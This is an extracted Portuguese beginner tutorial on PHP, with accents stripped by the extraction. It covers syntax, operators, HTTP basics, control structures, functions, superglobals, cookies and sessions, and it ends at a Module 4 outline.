Sei sulla pagina 1di 135

Modulo01 Introduo

o O que PHP?
o Pra que serve o PHP?
o Como funciona o PHP?
o Dicas teis na hora de programar
o Variveis
o Operadores
o Exerccios
O que PHP?
PHP significa Personal Home Page ou Hypertext Preprocessor, uma linguagem de script
Open Source
E ela no precisa ser compilada, o PHP executado no servidor e processado na hora
que a pgina for executada.
Pra que serve o PHP?
Para o desenvolvimento de aplicaes Web ou sistemas intranet.
E o PHP conecta com diversos bancos de dados
O PHP tambm faz sistemas de controles statisticos, bate papos, frum, portais, enquetes,
blogs, entre outros sistemas conhecidos.
Como Funciona o PHP?
O PHP funciona sendo executado por um programa servidor web configurado com o PHP
como CGI ou filtro isapi e o PHP processa a pgina e envia apenas o resultado do
processo em HTML para o usurio
CGI - Commom Gateway Interface (Interface Comum de Gateway) uma interface
definida de maneira a possibilitar a execuo de programas sob um servidor
ISAPI uma DLL personalizada que est no mesmo espao de memria que o servidor
Web, e chamado pelo servidor da web em resposta a cada solicitao HTTP.
O PHP s interpretado dentro das tags simples <? ?> ou <?PHP ?> para suporte a XML
ou XHTML
O PHP tambm funciona com essas tag:
<script language = "php">
Cdigo...
</script>

O PHP tambm funciona com tags ASP: <% %>


Uma pgina em PHP tem que ter a extenso .php
Se no for usar nenhuma tag PHP na pgina deixa a com .html
Da o PHP no precisara ficar lendo essa pgina em busca de tags php

e no final de cada linha voc precisa usar um ;( ponto e vrgula ) idntico linguagem C
echo() construtor da linguagem ele serve para exibir algo na tela e no obrigatrio usar
parnteses ().
Use ' ( Apstrofos ) para delimitar a string( textos ) do seu script exemplo:
<?PHP echo 'ola mundo'; ?>

ou modo simples para uma linha:<?= 'ola mundo'; ?>


As " ( aspas ) se a string delimitada entre " ( aspas ), o PHP entende mais seqncias de
escape para caracteres especiais:
\n = nova linha
\r retorno da linha
\t tab
Tambm da para delimitar as string usando a sintaxe heredoc ("<<<") exemplo:
$string = <<<EOD
Exemplo de uma string
distribuda em vrias linhas
utilizando a sintaxe heredoc.
EOD;
Embutido dentro do HTML:
<html>
<head>
<title>Titulo</title>
</head>
<body>
<?php
echo "ola mundo";
?>
</body>
</html>
</font>

Ou voc pode dar um echo nas tags HTML dentro do PHP exemplo:
<?php
echo "<b>PHP</b>";
?>
<?php
echo "<a href=\"link.html\">Link</a>";
?>

Dicas uteis na hora de programar


Para desenvolver um script e evitar erros
Programe com essas opes no php.ini:
display_errors = on => deixa ativado a opo para exibir mensagens de erro ou alertas e
avisos sobre alguma coisa que esta errada
display_startup_errors = On => use essa opo em on s na hora que estiver
desenvolvendo seus script ,tem erros que so iniciados e o display_errors no mostra
error_reporting = E_ALL => mostra todos possveis erros
register_globals = off => a partir do PHP 4.2.0 passou a se usar ela em off por motivo de
seguranas
exit; serve para a execuo do script ,ento use o exit sempre que quiser debugar seu
script, ou em funes e estruturas de controles
outras dicas nunca esquea de colocar o ; ( ponto e vrgula ) no final de cada linha.

e sempre usar as aspas ou apostrofos em string exemplos:


$nome = "Mario";
$array['array1'];
$_POST['campo'];
echo "Bom estudo";

Variveis
As variveis no PHP so representadas por um cifro ($) seguido pelo nome da varivel.
Os nomes de varivel no PHP fazem distino entre maisculas e minsculas.
Um nome de varivel vlido se inicia com uma letra ou sublinhado
Atribuindo valores a uma varivel:
$teste = "testando";
$numero = 1234;
$teste2 = "testando 1234";

Operadores
Concatenando uma varivel
Concatenar significa juntar as variveis e no PHP usa-se o . ( ponto ) para juntar as
variveis

Exemplo:
$nome = "Joo "; <= reparem que tem um espao depois do nome isso feito para quando
juntar as variveis nome e sobrenome no ficar grudado JoaoSantos
$nome = "Joo ";
$sobrenome = "Santos";
$nome_completo = $nome.$sobrenome;
ou
$nome_completo = $nome;
$nome_completo .= $sobrenome;

Somando
$valor = 100;
$valor += 200;
ou
$valor = 200 + 100;

Subtraindo
$valor = 300;
$valor -= 100;
ou
$valor = 300 - 100;

Mutiplicando
$valor = 300;
$valor *= 100;
ou
$valor = 300 * 100;

Operadores Aritmticos
$a + $b Adio Soma de $a e $b.
$a - $b Subtrao Diferena entre $a e $b.
$a * $b Multiplicao Produto de $a e $b.
$a / $b Diviso Quociente de $a por $b.
$a % $b Mdulo Resto de $a dividido por $b

Operadores de comparao
$a == $b Igual Verdadeiro (TRUE) se $a igual a $b.
$a === $b Idntico Verdadeiro (TRUE) se $a igual a $b, e eles so do mesmo tipo
(somente para PHP4).
$a != $b Diferente Verdadeiro se $a no igual a $b.
$a <> $b Diferente Verdadeiro se $a no igual a $b.
$a !== $b No idntico Verdadeiro de $a no igual a $b, ou eles no so do mesmo tipo
(somente para o PHP4).
$a < $b Menor que Verdadeiro se $a estritamente menor que $b.
$a > $b Maior que Verdadeiro se $a estritamente maior que $b.
$a <= $b Menor ou igual Verdadeiro se $a menor ou igual a $b.
$a >= $b Maior ou igual Verdadeiro se $a maior ou igual a $b.

Operadores Lgicos
$a and $b E Verdadeiro (TRUE) se tanto $a quanto $b so verdadeiros.
$a or $b OU Verdadeiro se $a ou $b so verdadeiros.
$a xor $b XOR Verdadeiro se $a ou $b so verdadeiros, mas no ambos.
! $a NO Verdadeiro se $a no verdadeiro.
$a && $b E Verdadeiro se tanto $a quanto $b so verdadeiros.
$a || $b OU Verdadeiro se $a ou $b so verdadeiros.

Operadores de Incremento/Decremento
++$a Pr-incremento Incrementa $a em um, e ento retorna $a.
$a++ Ps-incremento Retorna $a, e ento incrementa $a em um.
--$a Pr-decremento Decrementa $a em um, e ento retorna $a.
$a-- Ps-decremento Retorna $a, e ento decrementa $a em um
Fim do primeiro mdulo

Modulo02 Introduo part2


o Conceitos bsicos sobre a Internet em modo geral
o Variveis variveis
o Estruturas de Controle
o Funes
o return

Conceitos bsicos sobre a Internet em modo geral


Internet uma rede de comunicaes de abrangncia mundial e a World Wide Web uma
forma particular de utilizao da Internet. A World Wide Web ou WWW, ou W3 um dos
servios baseados em hipertextos.
A Web o conjunto de todos navegadores, servios, arquivos ou recursos,e qualquer
outro servio disponvel atravs do browser.
A Web est relacionadaa distribuio de documentos e informaes pela Internet, e o
HTTP tem a funo de servir como protocolo de rede da Web.

Protocolo de Comunicao
Um protocolo um conjunto de regras que administra procedimentos de troca de
informaes

HTTP
O HTTP (HyperText Transfer Protocol) surgiu em volta dos anos 90 no CERN (European
Center for high-Energy Physics) na Sua. Quem criou o HTTP foi um fisico ingls seu
nome era Tim Berner-Lee.
O Protocolo HTTP um protocolo de rede utilizado para entregar virtualmente todos os
arquivos e outros dados.
O HTTP responsvel pela maioria das transaes realizadas na Internet . O surgimento
do HTTP veio da necessidade de distribuio
de informaes na Internet, e para que essas transferncias fossem possveis houve a
necessidade de criar um padro de comunicao
entre clientes e os servidores Web, ou seja, de que forma seria feita as requisies de
dados e como seriam aceitas e respondidas
pelos servidores de recursos na Internet.

TCP/IP
O TCP/IP (Protocolo de Controle de Transmisso/Internet Protocol) (TCP) Tem como
funo deixar confivel a transferncia de informao
(IP) recebe ou envia pacotes individuais de informaes e os envia ao seu destino certo. O
TCP/IP cria a conetividade entre navegadores e servidores, a Web tambm utiliza seu
prprio protocolo o HTTP para troca de informaes entre clientes e servidores. O HTTP
utilizado pelos clientes para requisies de documentos ou servios dos servidores e o
HTTP funciona com a conexo TCP/IP (sockets TCP/IP).
HTML (HyperText Markup Language) ou Linguagem de marcao de Hiper Textos
estabelece o contedo de um documento hipertexto conforme a World Web Consortium
(W3C).

URL,URI,URN
URL (Uniform Resource Locator), URI (Uniform Resource Identifier) URN (Uniform
Resource Name)
URI uma forma generalizada para se referir a um recurso: um recurso inclui um URL e
um URN, ou seja, URN se refere ao nome do recurso em si
por exemplo um arquivo e a URL se refere localizao desse recurso, e ambos formam
um URI: a identificao uniforme de um mes recurso

XHTML e XML
XHTML considerado o futuro do HTML e uma forma de transio para XML. XHTML
possui elementos de formatao da HTML 4.01, mas possui alguma regras definidas pela
XML. XML um padro para descrio de dados, ao passo que HTML se limita
descrio de contedo.

XML
XML (Extensible Markup Language) permite que voc crie seus prprios conjuntos de
elementos de marcao, o XML torna possvel a a estruturao dos dados

GET
O GET o mtodo padro para recuperar ou requisitar um recurso por meio do protocolo
HTTP. O GET solicita ao servidor para que encontre e retorne qualquer dado que estiver
identificado pelo URI. Se o URI apontar para um arquivo, o servidor dever retornar o
arquivo(um recurso esttico), se apontar para um script.

CGI(um recurso dinmico) o servidor dever retornar o resultado do script executado.

POST
A requisio por meio do mtodo POST utilizada para enviar dados ao servidor para
serem processados e trabalhados de alguma forma de
programa. O uso mais comum do mtodo POST submeter um formulrio de dados,
nesse caso o cabealho Content-Type muitas veses possui a descrio application/x-wwwform-urlencoded e o cabealho Content-Length fornece o comprimento dos dados do
formulrio codificado na URL.
O mtodo GET tambm pode ser utilizado para submeter e enviar dados de um formulrio,
mas esses dados sero codificados na URL e anexados URI.
O mtodo POST oferece maior segurana em relao aos dados transferidos, pois os
dados faro parte do corpo da mensagem, enquanto no GET os dados sero anexados
URL, ficando a mostra para o usurio, podendo ser alterados facilmente antes de serem
enviados.
Variveis variveis
Variveis so os nomes de variveis que podem ser criadas e utilizadas dinamicamente.
Uma varivel normal criada numa instruo como:
PHP
<?php
$a = "Ola";
?>
Uma varivel pega o valor de uma varivel e a trata com o nome de uma varivel. No
exemplo acima, hello pode ser utilizada como o
nome de uma varivel utilizando dois sinais de cifro:
PHP
<?php
$a = "Ola";
$$a = "Usuarios";
echo "$a $Ola";
?>

Estruturas de Controle
O que so estruturas de controle?
So contrues da linguagem que permitem que voc controle o fluxo do seu
programa...nmero de vezes que ele ser executado...como e quando ele ser
desviado...enfim as estruturas de controle esto entre as mais importantes
implementaes das linguagens de programao, incluindo o PHP...
As estruturas de linguagem implementadas no PHP so:
if;
else;
elseif;
while;
do.. while;
for;
foreach;
break;
continue;
switch;
If com certeza uma das mais importantes estruturas de controle do PHP. Ela permite a
execuo condicional de um pedao do seu cdigo... A sintaxe da mesma a seguinte:
if(expresso){
instrues...
}
Sendo que a expresso aquilo que ser testado pelo if.
Ex:
Suponha que voc queira verificar se o usurio digitou mesmo um determinado nmero,
10 por exempo.
PHP
<?php
$numero = $_POST["numero"];
if($numero == 10)
{
echo "Parabns voc digitou o nmero correto";
}
?>
Note que nesse exemplo as chaves poderiam ser omitidas e no teriamos problemas de
sintaxe, pois temos apenas uma instruo abaixo o if...
Caso tivessemos mais, a sim seria obrigatrio, mas por questo de organizao e
legibilidade costumo colocar sempre.

O if retorna um valor boleano, ou true caso a condio seja verdadeira, ou false caso a
condio falhe...Digamos que nosso programa seja apenas isso e se o usurio digitar
qualquer valor diferente de 10, nada seria mostrado na tela.
Mas geralmente voc vai querer excecutar uma instruo para quando o teste do if for
false. a que entra o else "seno". Ele permite instruir ao script para executar um outro
fragmento de cdigo caso o if de false...
ex:
PHP
<?php
$numero = $_POST["numero"];
if($numero == 10)
{
echo "Parabns voc digitou o numero correto";
}
else
{
echo "Pena voc entrou com um valor diferente de 10";
}
?>

Elseif
Elseif, como seu nome sugere, uma combinao de if e else.
Ele permite um poder de deciso maior ao seu script, pois se o teste 1 falhar ele tentar
executar o segundo e assim por diante, segue um exemplo clssico de seu uso...
PHP
<?php
if ($a > $b)
{
echo "a maior que b";
}
elseif ($a == $b)
{
echo "a igual a b";
}
else
{
echo "a menor que b";
}
?>

Dica: sempre que abrir uma chave "{" feche logo em seguida "}" para evitar esqueer de
fazer isso mais tarde...
while
Loops while so o tipo mais simples de criar um 'loop' em PHP. O formato bsico de um
comando while :
while (expressao) instrues
O significado de um comando while simples. Ele pede que o PHP execute os comandos
aninhados repetidamente, enquanto a expresso do while avaliada como TRUE. O valor
da expresso verificada cada vez que se passa no comeo do 'loop', desta forma,
mesmo que este valor mude durante a execuo do(s) comando(s) aninhado(s), a
execuo no parar at que o fim da iterao (cada vez que o PHP executa os comandos
dentro do 'loop' uma iterao). s vezes, se a expresso while for avaliada como FALSE
logo no incio, o(s) comando(s) aninhado(s) no ser(o) rodado(s) nem uma vez sequer.
Como no comando if, voc pode agrupar mltiplos comandos dentro do mesmo lao while
englobando um grupo de instrues com chaves, ou usando a sintaxe alternativa:
while (expressao)
{
instrucoes ...
}
Para ficar mais claro de entender, vamos montar um script que escreva os nmeros de 1 a
10 um abaixo do outro, ok?
PHP
<?php
$i = 1; // $i ser nosso controlador ele dir quantas vezes o script ser executado, nesse
caso 10...while ($i <= 10) {echo $i++; // nesse caso ser mostrado o valor e logo aps ser
adicionado mais uma ao seu valor}?>
do..while
Loops do while so bem similares aos loops while, exceto pelo fato de que a condio
verificada no fim de cada iterao em vez de no comeo.
H apenas uma sintaxe para loops do..while:
PHP
<?php
$i = 0;
do
{
echo $i++;
}
while ($i > 10);

?>
Note que nessa estrutura o comando sempre ser executado ao menos uma vez...
pos a condio verificado apenas no final, ou seja aps a primeira interao...
for
Loops for so os laos mais complexos em PHP, pois no mesmo corpo voc inicia a
varivel de controle, diz at quando ser executada, e faz o incremento, ou decremento
dependendo do caso. Sua sitaxe a seguinte...
for (expr1; expr2; expr3) {
instrucoes
}
Vamos ao nosso exemplo que imprime os nmeros de 1 a 10, mas dessa vez vamos nos
aventurar mais, vamos montar a tabuada do 10, rs...Super til...
PHP
<?php
for ($i = 1; $i <= 10; $i++)
{
echo $i . "X" . 10 . "=" . $i*10 . "<br>";
}
?>

Vamos a outro exemplo espetacular. Lembra dos simpsons onde o pobre barth sempre
fica de castigo escrevendo 500 vezes algo no quadro negro? Se ele soubesse php seria
muito mais simples...
PHP
<?php
for ($i = 1; $i <= 500; $i++)
{
echo "Eu sou um bom aluno <br>";
}
?>

foreach
Esse construtor da lingagem oferece uma maneira fcil de trabalhar com matrizes "arrays".
Foreach funciona somente com arrays, e lanar um erro se tentar utiliz-lo em uma
varivel de qualquer tipo diferente ou vamos a um exemplo de seu uso.
PHP
foreach (expressao_array as $chave => $valor){ instrucoes }

PHP
<?php
/* exemplo foreach 1: somente valores */
$a = array(1, 2, 3, 17);
foreach ($a as $v) {
echo "Valor atual de \$a: $v.\n";
}
/* exemplo foreach 2: valores (com as chaves impressas para ilustrao) */
$a = array(1, 2, 3, 17);
$i = 0; /* para exemplo somente */
foreach ($a as $v) {
echo "\$a[$i] => $v.\n";
$i++;
}
/* exemplo foreach 3: chaves e valores */
$a = array (
"um" => 1,
"dois" => 2,
"trs" => 3,
"dezessete" => 17
);
foreach ($a as $k => $v) {
echo "\$a[$k] => $v.\n";
}
/* exemplo foreach 4: arrays multidimensionais */
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";
foreach ($a as $v1) {
foreach ($v1 as $v2) {
echo "$v2\n";
}
}
/* exemplo foreach 5: arrays dinmicos */

foreach (array(1, 2, 3, 4, 5) as $v) {


echo "$v\n";
}
?>

Funes
O que uma funo?
Funes so responsveis por realizar uma ou mais tarefas definidas ou no pelo
programador. No entendeu? Ok.
Suponhamos que dentro de um script PHP, voc ir usar uma mesma expresso
matemtica vrias vezes, ex:
echo 10+(5*6)/14-2;
echo 10+(5*3)/14-2;
echo 10+(5*2)/14-2;
Obs.: No echo() no necessrio o uso de parnteses.
Repare que a nica coisa que mudou foi o nmero multiplicado (6,3,2), mas seria muito
mais fcil se crissemos uma funo pra isso. Ficaria algo como:
function expressao($valor) {
echo 10+(5* $valor)/14-2;
}

Expresses
Ento como ficariam as expresses? Simples:
expressao(6);
expresso(3);
expresso(2);
Como so definidas as funes?
Uma funo definida usando a palavra function, seguido pelo nome da funo e por
parntese:
function nomeFuncao()
Em funes podem ser usadas tanto letras minsculas como maisculas. Podem ser
usados tambm underlines e nmeros (no caso de nmeros, no como primeiro caracter).
Errado: function 2quebraLinha() {
Errado: function quebraLinha@() {
Voc tambm pode usar variveis dentro dos parnteses. Estas devem ser separadas por
vrgulas, as variveis definidas aqui s podero ser usadas dentro das funes, elas
podero ter um valor definido. Quando for usar a funo, se voc definir um valor no local
da varivel, o valor padro ser perdido, e o novo valor ser dado quela varivel.

Um exemplo:
function mostraValor($variavel= 'padro') {
echo $variavel;
}
Nesse caso a string padro foi definida padro para a varivel $variavel. Se voc usar a
funo sem definir nenhum argumento, ela ir mostrar o texto padro, no caso padro:
mostraValor();
Mas se voc colocar um outro valor dentro dos parnteses no uso da funo, o valor novo
definido ser mostrado:
mostraValor(Novo texto aqui);
Ir mostrar Novo texto aqui.
A mesma coisa vale para mais argumentos definidos:
function mostraValor($valor=padro,$segundoValor) {

Depois dos parnteses ser usando chaves e toda definio da funo dever estar dentro
dela:
function mostraValor($valor=padro) {
// Aqui os parmetros da funo
}
Return
O que return?
return palavra usada pra retornar algum valor da funo para uma nova varivel definida,
como exemplo, vamos voltar primeira expresso matemtica: Se voc no quisesse
mostrar as expresses e sim guardar os resultados em variveis, voc poderia usar uma
funo parecida com essa:
function expressao($valor) {
$novoValor = 10+(5* $valor)/14-2;
return $novoValor;
}
Assim, uma nova varivel poderia receber o resultado. Seguindo os exemplos anteriores,
ficaria assim:
$exp1 = expressao(6);
$exp2 = expressao(3);
$exp3 = expressao(2);

O uso do "return" significa o fim da funo, tudo que for usado aps o return er perdido.
Obs.: S quero ressaltar que na funo podem ser usados variveis de qualquer tipo,
inteiros, strings, boolean, arrays, etc, os valores retornadas (com o return) seguem a
mesma regra.
Fim.

Modulo 3 Introduo part3

Variveis Predefinidas

Escopo de variveis

Cookies

Sessions

Variveis Predefinidas
$GLOBALS
Contm um referncia para todas as variveis que so atualmente disponveis dentro do
escopo global do script. As chaves desse array so os nomes das variveis globais.
$GLOBALS existe desde o PHP 3.
$_GET
Variveis postadas para o script via mtodo HTTP GET. Anlogo ao antigo
array $HTTP_GET_VARS(que ainda continua disponvel, mas em decadncia).
$_POST
Variveis postadas para o script via mtodo HTTP POST. Anlogo ao antigo
array$HTTP_POST_VARS (que ainda continua disponvel, mas em decadncia).
$_COOKIE
Variveis postadas para o script via cookies HTTP. Anlogo ao antigo
array $HTTP_COOKIE_VARS(que ainda continua disponvel, mas em decadncia).
$_FILES
Variveis postadas para o script via transferncia de arquivos HTTP. Anlogo ao antigo
array$HTTP_POST_FILES (que ainda continua disponvel, mas em decadncia).
Veja uploads via mtodo POST para maiores informaes.
$_ENV
Variveis disponveis no script do ambiente de execuo. Anlogo ao antigo array
$HTTP_ENV_VARS (que ainda continua disponvel, mas em decadncia).
$_REQUEST
Variveis postadas para o script por todas os mecanismos de input GET, POST, e
COOKIE no podem ter seu contedo garantido de qualquer forma.
A presena e a ordem de incluso das variveis nesse array definida de acordo com a
diretiva de configurao variables_order. Este array no tem um equivalente nas verses
anteriores do PHP 4.1.0. Veja tambm import_request_variables().
$_SESSION
Variveis que esto atualmente registradas na sesso do script. Anlogo ao antigo array
$HTTP_SESSION_VARS (que ainda continua disponvel, mas em decadncia).
Veja a sesso funes de manipulao de Sesses para maiores informaes.
$_SERVER

Variveis criadas pelo servidor web ou diretamente relacionadas ao ambiente de execuo


do script atual. Anlogo ao antigo array $HTTP_SERVER_VARS (que ainda continua
disponvel, mas em decadncia).
$_SERVER um array contendo informaes como headers, caminhos e localizaes do
script. Os itens deste array so criados pelo servidor web. No h garantias que todos os
servidores web gerem todas elas: alguns servidores talvez omitam algumas ou geram
outras que no esto listadas aqui. Mesmo assim, um grande nmero dessas variveis
esto de acordo com a especificao CGI 1.1, ento voc pode esperar encontr-las
nesse array.

PHP_SELF
O nome do arquivo do script atualmente em uso, relativo ao document root. Por exemplo,
$_SERVER['PHP_SELF'] em um script com o endereo
http://example.com/test.php/foo.bar pode ser /test.php/foo.bar. A constante __FILE__
contm o caminho completo e nome do arquivo (mesmo includo) atual.
Se estiver rodando o PHP em linha de comando, esta varivel no est disponvel.
argv
Array de argumentos passado para o script. Quando o script executado na linha de
comando, isto permite um acesso aos parmetros de linha de comando no estilo do C.
Quando chamado via mtodo GET, ele conter a query string.
argc
Contm o nmero de parmetros da linha de comando passados para o script (se
executando da linha de comando).
GATEWAY_INTERFACE
O nmero de reviso da especificao CGI que o servidor est utilizando, por exemplo :
'CGI/1.1'.
SERVER_NAME
O nome host do servidor onde o script atual executado. Se o script est rodando em um
host virtual, este ser o valor definido para aquele host virtual.
SERVER_SOFTWARE
A string de identificao do servidor, fornecida nos headers quando respondendo a
requests.
SERVER_PROTOCOL
Nome e nmero de reviso do protocolo de informao pelo qual a pgina foi requerida,
por exemplo 'HTTP/1.0';
REQUEST_METHOD
Contm o mtodo de request utilizando para acessar a pgina. Geralmente 'GET', 'HEAD',
'POST' ou 'PUT'.
QUERY_STRING
A query string (string de solicitao), se houver, pela qual a pgina foi acessada.

DOCUMENT_ROOT
O diretrio raiz sob onde o script atual executado, como definido no arquivos de
configurao do servidor.
HTTP_ACCEPT
O contedo do header Accept: da requisio atual, se houver.
HTTP_ACCEPT_CHARSET
O contedo do header Accept-Charset: da requisio atual, se houver. Exemplo: 'iso-88591,*,utf-8'.
HTTP_ACCEPT_ENCODING
O contedo do header Accept-Encoding: da requisio atual, se houver. Exemplo: 'gzip'.
HTTP_ACCEPT_LANGUAGE
O contedo do header Accept-Language: da requisio atual, se houver. Exemplo 'en'.
HTTP_CONNECTION
O contedo do header Connection: da requisio atual, se houver. Exemplo: 'Keep-Alive'.
HTTP_HOST
O contedo do header Host: da requisio atual, se houver.
HTTP_REFERER
O endereo da pgina (se houver) atravs da qual o agente do usurio acessou a pgina
atual. Essa diretiva informada pelo agente do usurio.
Nem todos os browsers geram esse header, e alguns ainda possuem a habilidade de
modificar o contedo do HTTP_REFERER como recurso. Em poucas palavras, no
confivel.
HTTP_USER_AGENT
O contedo do header User-Agent: da requisio atual, se houver. uma string denotando
o agente de usurio pelo qual a pgina acessada.
Um exemplo tpico : Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586). Alm de outras coisas,
voc pode utilizar este valor com get_browser() para personalizar a gerao de suas
pginas para as capacidades do agente do usurio.
REMOTE_ADDR
O endereo IP de onde o usurio est visualizado a pgina atual.
REMOTE_HOST
O nome do host que o usurio utilizou para chamar a pgina atual. O DNS reverso
(lookup) do REMOTE_ADDR do usurio.
Nota: Seu servidor web precisa estar configurado para criar essa varivel. Por exemplo, no
Apache voc precisa colocar um HostnameLookups On
dentro do httpd.conf. Veja tambm gethostbyaddr().
REMOTE_PORT
A porta TCP na mquina do usurio utilizada para comunicao com o servidor web.

SCRIPT_FILENAME
O caminho absoluto o script atualmente em execuo.
Nota: Se o script for executado pela CLI com um caminho relativo, como file.php ou
../file.php, $_SERVER['SCRIPT_FILENAME'] ir conter o caminho relativo especificado
pelo usurio.
SERVER_ADMIN
O valor fornecido pela diretiva SERVER_ADMIN (do Apache) no arquivo de configurao
do servidor. Se o script est sendo executado em um host virtual, este ser os valor
definido para aquele host virtual.
SERVER_PORT
A porta na mquina servidora utilizada pelo servidor web para comunicao. Como default,
este valor '80'. Utilizando SSL, entretanto, mudar esse valor para a porta de
comunicao segura HTTP.
SERVER_SIGNATURE
String contendo a verso do servidor e nome do host virtual que adicionado s pginas
geradas no servidor, se ativa.
PATH_TRANSLATED
O caminho real do script relativo ao sistema de arquivos (no o document root), depois
realizou todos os mapeamentos de caminhos (virtual-to-real).
Nota: A partir do PHP 4.3.2, PATH_TRANSLATED no mais existe implicitamente sob a
SAPI do Apache 2, ao contrrio da mesma situao no Apache 1, onde ela tinha o mesmo
valor da varivel de servidor SCRIPT_FILENAME, quando a mesma no era configurada
pelo Apache. Essa mudana foi realizada para conformidade com a especificao CGI,
onde PATH_TRANSLATED deve existir somente se PATH_INFO estiver definida.
Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.
SCRIPT_NAME
Contm o caminho completo do script atual. til para pginas que precisam apontar para
elas mesmas (dinamicamente). A constante __FILE__ contm o caminho completo e nome
do arquivo (mesmo includo) atual.
REQUEST_URI
O URI fornecido para acessar a pgina atual, por exemplo, '/index.html'.
PHP_AUTH_USER
Quando executando sob o Apache como mdulo e fazendo autenticao HTTP, esta
varivel estar definida com o username fornecido pelo usurio.
PHP_AUTH_PW
Quando executando sob o Apache como mdulo e fazendo autenticao HTTP, esta
varivel estar definida com a senha fornecida pelo usurio.
AUTH_TYPE
Quando executando sob o Apache como mdulo e fazendo autenticao HTTP, esta
varivel estar definida com o tipo de autenticao utilizado.

Esta uma varivel 'superglobal', ou automaticamente global. Isto significa que ela
disponvel em todos os escopos (nveis) de um script.
Voc no precisa fazer um global $_SERVER; para pode acess-la dentro de funes ou
mtodos, como era necessrio com $HTTP_SERVER_VARS.
Escopo de variveis
Quando uma varivel usada dentro de uma funo, pode haver uma outra varivel com o
mesmo nome que utilizada em outra funo ou no cdigo do programa principal. So
espaos de memria diferentes, e cada uma funciona dentro do seu contexto, ou seja, a
varivel definida dentro de uma funo s pode ser acessada ali dentro. Fora dali seu valor
no acessvel em nenhuma outra parte do programa, mas possvel usar dentro de uma
funo o valor de uma varivel existente tambm no programa principal, tem dois jeitos
para isso:
Defini-la como global no inicio da funo ou utilizar o array predefinido $GLOBALS, que
utiliza os nomes das variveis como associativa
Exemplo:
PHP

<?php
$num = 1500;
function escopo()
{
global $num;
$num += 5;
echo $num."<br>";
}
echo $num."<br>";
escopo();
?>

Cookies
O famoso cookie que ns conhecemos hoje foi criado em junho de 1994
Antigamente cada visita a um site era como se fosse a primeira visita, sem forma
automtica de se saber se um usurio j esteve ali, ou que pginas havia consultado.
Qualquer transao comercial tinha que ser feita do incio ao fim em uma s visita, e os
visitantes tinham que passar pelas mesmas pginas vezes seguidas ,era como visitar uma
loja onde o vendedor tinha amnsia.
O criador do cookie chama-se Lou Montulli, ele foi o nono funcionario a ser contratado por
uma empresa que logo depois se tornaria a Netscape Communications, Montulli era um
hacker, mas naquele tempo o nome hacker era usado no bom sentido quando uma pessoa

entendia muito de computadores. Quando ele teve a ideia de inventar o cookie a soluo
encontrada era que cada computador de site da Web colocasse um pequeno arquivo na
mquina de cada visitante, que acompanhasse seus passos dentro do site visitado.
Montulli chamou essa nova tecnologia de "objeto do estado de cliente persistente, mas ele
tinha um nome mais charmoso em mente, um do incio da computao. Naquela poca, as
mquinas trocavam pedaos de informao para propsitos de identificao e os primeiros
programadores chamaram os dados trocados de "magic cookies", biscoitos mgicos.
Montulli chamou sua inveno, descendente direta desses, de "cookie", biscoito.
Foi um marco na histria da computao: de um s golpe, os cookies mudaram a Web,
que passou de um lugar de visitas descontnuas para um ambiente rico, no qual comprar,
brincar e at viver, para alguns.
Fundamentalmente, os cookies alteraram a natureza da navegao pela Web. Ela passou
de uma atividade relativamente annima, como caminhar pelas ruas de uma metrpole,
para um ambiente onde os registros das transaes, movimentos e at desejos podem ser
armazenados, avaliados, minados e vendidos.
Graas aos cookies, um cliente que faz uma compra em um site pode abandonar seu
carrinho de compras antes de finalizar a compra e voltar mais tarde ao site, que perguntar
se ele deseja fazer seu pedido.
Os cookies tambm permitem aos sites mostrarem anncios diretamente ligados s partes
do site visitadas pelo navegador. Assim, algum visitando um site orientado para a sade
que l informaes sobre drogas para diabetes poder ver um anncio de nova medicao
para a doena.
Todas essas funes podem ser feitas sem o conhecimento do nome do visitante, porque
o identificador annimo e nico includo no cookie, suficiente. Mas, se um proprietrio de
site da Web combinar esse identificador com informaes pessoais do visitante, do
momento de sua inscrio no site, por exemplo, ento o cookie se torna um mecanismo
poderoso de monitoramento individual.
O php usa a funo setcookie para enviar o cookie para o usurio essa funo tambm
usada para excluir o prprio cookie, exemplo de criao de um cookie:
setcookie("nome_do_cookie", "valor_do_cookie", "tempo de expirao");
No tempo de expirao voc pode usar a funo time() + os segundos veja exemplo:
PHP

<?
setcookie("cookie", "teste", time() + 3600);
?>
Esse cookie tem uma validade de 1 hora:

PHP

<?
setcookie("cookie", "teste", time() + 3600*24*365);
?>
Esse cookie tem validade de um ano
3600 segundos = 1 hora
3600 segundos vezes 24 horas
24 horas vezes 365 dias
Para excluir um cookie basta fazer a mesmo sistema que criar ele, mas usando um prazo
de expirao negativa.
PHP

<?
setcookie("cookie", "teste", time() 3600*24*365);
?>
Veja acima o cookie que tinha validade de um ano ser excludo pq foi passado que o
tempo dele agora de um ano atrs, ou seja, j acabou.
Sessions
Uma sesso (session) um perodo de tempo durante o qual uma pessoa navega num
site.
Uma sesso gravada no servidor, e o tempo de durao de uma sesso pode ser ate o
usurio fechar a pgina.
Quando o usurio entra no site criamos uma sesso e ela recebe um nmero identificador
nico, chamado de session_id, para uma pagina ter o acesso aos dados da sesso ela
tem que ter esse nmero identificador.
Para criar uma sesso sempre se utiliza session_start() e antes de qualquer sada html.
Exemplo:
PHP

<?
session_start();

$_SESSION["teste"] = 1;
?>
Foi criado uma sesso com o nome se teste e valor 1
E nas paginas seguintes voc pode restaurar esse valor assim:
PHP

<?
session_start();
echo $_SESSION["teste"];
?>

Voc pode usar session_register() para registrar suas variveis, no caso, o nome da
varivel na sesso ser a mesma do nome da varivel gravado, exemplo:
PHP
$linguagem = "PHP";
session_register("linguagem");

Nesse caso foi gravada a varivel $linguagem na varivel de sesso linguagem, eis a
vantagem de se usar $_SESSION que recomendado a partir da verso 4.1, j que voc
poder definir o nome da varivel na sesso.
Obs.: session_register trabalha com register_globals on, e como est em extino o uso
em on, sempre recomendado ento usar $_SESSION, alis, as facilidades so muito
maiores, j que voc trabalhar com elas como uma varivel normal.
Onde posso usar sesses?
Na verdade, as sesses so geralmente usadas pra criar lojas virtuais e sistemas de login,
onde o usurio entrar com usurio e senha em um formulrio. Buscar no banco de
dados (ou o que estiver usando com um) e se achar algum usurio gravar na sesso uma
identificao que dir que ele j foi logado. Isso somente durar at o fechamento do
browser. Logo, grande parte dos websites ainda usam cookies por esse motivo. At hoje, a
nica maneira de voc sair de um site, entrar mais tarde e tudo estar do jeito que voc via
antes usando os cookies.

Modulo 4 Introduo part4


o require
o include
o require_once
